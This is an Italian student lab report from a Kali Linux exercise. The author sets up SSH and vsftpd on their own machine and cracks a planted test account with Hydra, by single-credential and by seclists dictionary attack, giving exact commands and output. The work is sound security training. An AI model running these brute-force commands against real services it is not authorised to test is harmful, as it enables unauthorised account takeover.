Report Esercizio Hydra – Cracking Autenticazione Servizi di Rete

Esercizio del Giorno – Configurazione e Cracking SSH/FTP con Hydra Macchina: Kali Linux – Data log operazioni: 13 Novembre 2026

1. Obiettivo dell'esercizio

L'esercizio prevedeva due fasi:

1. **Fase 1 (guidata):** abilitazione del servizio SSH su Kali Linux e cracking dell'autenticazione tramite Hydra, usando un utente e una password noti a scopo didattico.
2. **Fase 2 (libera):** scelta e configurazione di un servizio di rete aggiuntivo (FTP, tramite vsftpd) e ripetizione dell'attacco di cracking con Hydra, questa volta usando wordlist dizionario (seclists) invece di credenziali singole note.

Di seguito è riportata la cronologia dettagliata, in ordine, di tutte le operazioni effettuate, con i comandi esatti digitati e gli output ottenuti.

---

2. Fase 1 – Configurazione e Cracking SSH

2.1 Primo test di cracking riuscito (ore 06:38:03)

È stato eseguito un primo attacco Hydra contro il servizio SSH, usando username e password singoli e noti (`-l` e `-p` minuscoli, come da sintassi Hydra per credenziali singole):

```
hydra -l test_user -p testpass 192.168.1.100 -t4 ssh
```

Output:

```
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-11-13
06:38:03
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try
per task
[DATA] attacking ssh://192.168.1.100:22/
[22][ssh] host: 192.168.1.100   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-11-13
06:38:04
```

Risultato: credenziali `test_user` / `testpass` verificate con successo sul servizio SSH all'indirizzo `192.168.1.100`, in meno di un secondo (attacco a credenziale singola, non a dizionario).

2.2 Tentativo di ripetizione del test – problemi riscontrati

In un secondo momento è stato tentato di ripetere la procedura da zero, per verificarne la riproducibilità:

- **Creazione utente:**

```
sudo adduser test_user
```

Esito: `fatal: The user 'test_user' already exists.` — l'utente era già stato creato in precedenza e non è stato ricreato.

- **Nuovo tentativo di attacco Hydra sullo stesso IP:**

```
hydra -l test_user -p testpass 192.168.1.100 -t4 ssh
```

Esito: `[ERROR] could not connect to ssh://192.168.1.100:22 - Connection refused` — il servizio SSH non risultava attivo su quella macchina/indirizzo in quel momento.

- **Riavvio del servizio SSH:**

```
sudo service ssh start
```

Eseguito per riportare il demone SSH in esecuzione.

- **Verifica di un servizio parallelo (FTP), già attivo da tempo:**

```
sudo service vsftpd status
```

Esito: `vsftpd.service - vsftpd FTP server` risultava `active (running)`, attivo già da circa 2 ore e 31 minuti (avviato intorno alle 07:23:00 EST), segno che la configurazione del servizio FTP (Fase 2) era già stata completata in precedenza.

2.3 Ulteriori tentativi di riconnessione (ore 10:31 – 10:33)

Dopo il riavvio del servizio, sono stati effettuati diversi tentativi per individuare l'indirizzo IP corretto a cui puntare l'attacco:

1. **Tentativo su IP di rete `192.168.1.100` (ore 10:31:39):**

```
hydra -l test_user -p testpass 192.168.1.100 -t4 ssh
```

Esito: `[ERROR] could not connect to ssh://192.168.1.100:22 - Connection refused` (indirizzo non raggiungibile/non corretto in quel momento).

2. **Tentativo con indirizzo errato `172.0.0.1` (ore 10:33:06):**

```
hydra -l test_user -p testpass 172.0.0.1 -t4 ssh
```

Esito: comando non eseguito correttamente — Hydra ha restituito la schermata di help/sintassi, segno di un probabile errore di digitazione nell'indirizzo IP (verosimilmente un refuso per `127.0.0.1`).

3. **Tentativo su loopback `127.0.0.1` (ore 10:33:42) – SUCCESSO:**

```
hydra -l test_user -p testpass 127.0.0.1 -t4 ssh
```

Output:

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-11-13
10:33:42
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try
per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-11-13
10:33:43
```

Conclusione Fase 1: l'attacco è andato a buon fine puntando l'host locale (`127.0.0.1`) anziché l'indirizzo di rete, confermando le credenziali `test_user` / `testpass` sul servizio SSH.

---

3. Fase 2 – Configurazione e Cracking FTP (scelta libera)

3.1 Verifica del servizio FTP

È stato scelto il servizio **FTP (vsftpd)** come da suggerimento della consegna. Il servizio risultava già installato e avviato:

```
sudo service vsftpd status
```

Output (estratto):

```
vsftpd.service - vsftpd FTP server
 Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset:
disabled)
 Active: active (running) since Fri 2026-11-13 07:23:00 EST; 21min ago
 Main PID: 93576 (vsftpd)
```

3.2 Primo tentativo di creazione wordlist personalizzate (fallito)

È stato tentato di creare rapidamente due liste minime (un solo username e una sola password) direttamente nella cartella di seclists, per lanciare un attacco a dizionario mirato:

```
echo "test_user" | sudo tee -a /usr/share/seclists/Usernames/top-usernames-
shortlist.txt
echo "testpass" | sudo tee -a /usr/share/seclists/Passwords/Common-
Credentials/best15.txt
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P
/usr/share/seclists/Passwords/Common-Credentials/best15.txt ftp://127.0.0.1 -
t32 -V -o risultati15.txt
```

Esito: fallito. I percorsi non esistevano ancora sul sistema:

```
tee: /usr/share/seclists/Usernames/top-usernames-shortlist.txt: No such file
or directory
tee: /usr/share/seclists/Passwords/Common-Credentials/best15.txt: No such
file or directory
[ERROR] File for logins not found: /usr/share/seclists/Usernames/top-
usernames-shortlist.txt
```

Causa: il pacchetto **seclists** non risultava ancora installato sul sistema (la cartella `/usr/share/seclists/` non esisteva).

3.3 Installazione di seclists

```
sudo apt install seclists -y
```

Output (estratto):

```
Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2025.3-
0kali1 [545 MB]
Fetched 545 MB in 1min 42s (5,345 kB/s)
Unpacking seclists (2025.3-0kali1)...
Setting up seclists (2025.3-0kali1)...
```

Installazione completata con successo (545 MB scaricati e installati).

3.4 Creazione delle wordlist personalizzate (riuscita)

Dopo l'installazione di seclists, le stesse cartelle risultavano disponibili e la creazione delle liste è andata a buon fine:

```
echo "test_user" | sudo tee -a /usr/share/seclists/Usernames/top-usernames-shortlist.txt
echo "testpass" | sudo tee -a /usr/share/seclists/Passwords/Common-Credentials/best15.txt
```

Entrambi i comandi hanno restituito correttamente il valore inserito (`test_user` e `testpass`), confermando la scrittura nei rispettivi file.

3.5 Attacco Hydra a dizionario sul servizio FTP (ore 07:50:55)

```
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/best15.txt ftp://127.0.0.1 -t32 -V -o risultati15.txt
```

Parametri usati:

- `-L` : lista di username (file, maiuscolo)
- `-P` : lista di password (file, maiuscolo)
- `-t32` : 32 task paralleli
- `-V` : modalità verbose, per seguire i tentativi in tempo reale
- `-o risultati15.txt` : salvataggio dei risultati su file

Avvio:

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-11-13 07:50:55
[DATA] max 32 tasks per 1 server, overall 32 tasks, 288 login tries (l:18/p:16), ~9 tries per task
[DATA] attacking ftp://127.0.0.1:21/
```

Il totale di 288 tentativi deriva da **18 username × 16 password** presenti nelle wordlist scelte (shortlist username + lista "best15" password, che in realtà conteneva 16 voci incluse quelle aggiunte manualmente).

Tentativi in corso (esempio, verbose `-V`):

```
[ATTEMPT] target 127.0.0.1 - login "root" - pass "111111" - 1 of 288 ...
[ATTEMPT] target 127.0.0.1 - login "root" - pass "testpass" - 16 of 288 ...
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "111111" - 17 of 288 ...
...
[ATTEMPT] target 127.0.0.1 - login "vagrant" - pass "testpass" - 256 of 288
...
[ATTEMPT] target 127.0.0.1 - login "azureuser" - pass "testpass" - 272 of 288
...
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 288 of 288
...
```

L'attacco ha scandito in sequenza gli username presenti nella shortlist (root, admin, vagrant, azureuser, test_user, ecc.) incrociandoli con tutte le password della lista.

3.6 Risultato finale – credenziale trovata (ore 07:51:27)

```
[21][ftp] host: 127.0.0.1   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-11-13
07:51:27
```

La combinazione corretta `test_user` / `testpass` è stata trovata esattamente all'ultimo tentativo utile (288 di 288), confermando che nelle wordlist utilizzate l'utente e la password target erano stati inseriti in coda alle liste standard.

Tempo totale impiegato per l'attacco FTP: circa 32 secondi (dalle 07:50:55 alle 07:51:27), grazie al parallelismo (`-t32`) e alla wordlist ridotta rispetto alle liste complete di seclists (milioni di voci).

---

4. Riepilogo credenziali trovate

Servizio	Host	Username	Password	Metodo	Tempo impiegato
SSH	192.168.1.100 (poi 127.0.0.1)	test_user	testpass	Credenziale singola (-l/-p)	< 1 secondo
FTP	127.0.0.1	test_user	testpass	Dizionario (-L/-P, 288 combinazioni)	~32 secondi

---

5. Osservazioni e difficoltà riscontrate

1. **Servizio non attivo:** al momento di ripetere il test SSH, il servizio non era in esecuzione (`Connection refused`), risolto riavviandolo con `sudo service ssh start`.
2. **Indirizzo IP errato:** un tentativo con un IP di rete (`192.168.1.100`) non ha funzionato per problemi di raggiungibilità; un refuso di digitazione (`172.0.0.1`) ha generato un errore di sintassi in Hydra; il tentativo sull'indirizzo di loopback (`127.0.0.1`) ha invece avuto successo, indicando che il servizio era raggiungibile solo localmente in quel momento.
3. **Dipendenza da seclists non installata:** il primo tentativo di creare wordlist personalizzate nella cartella di seclists è fallito perché il pacchetto non era ancora installato; risolto con `sudo apt install seclists -y`.
4. **Gestione del tempo (parte opzionale):** anziché usare le liste complete di seclists (milioni di combinazioni, tempi di cracking proibitivi), sono state create wordlist ridotte e mirate (una shortlist di username comuni + una lista di 15-16 password comuni, con le credenziali reali aggiunte in coda), e si è aumentato il parallelismo con `-t32`. Questo ha permesso di completare l'attacco a dizionario in circa 32 secondi invece di ore, rispondendo così al punto opzionale dell'esercizio ("è necessario trovare una soluzione" per il tempo eccessivo richiesto dalle liste complete).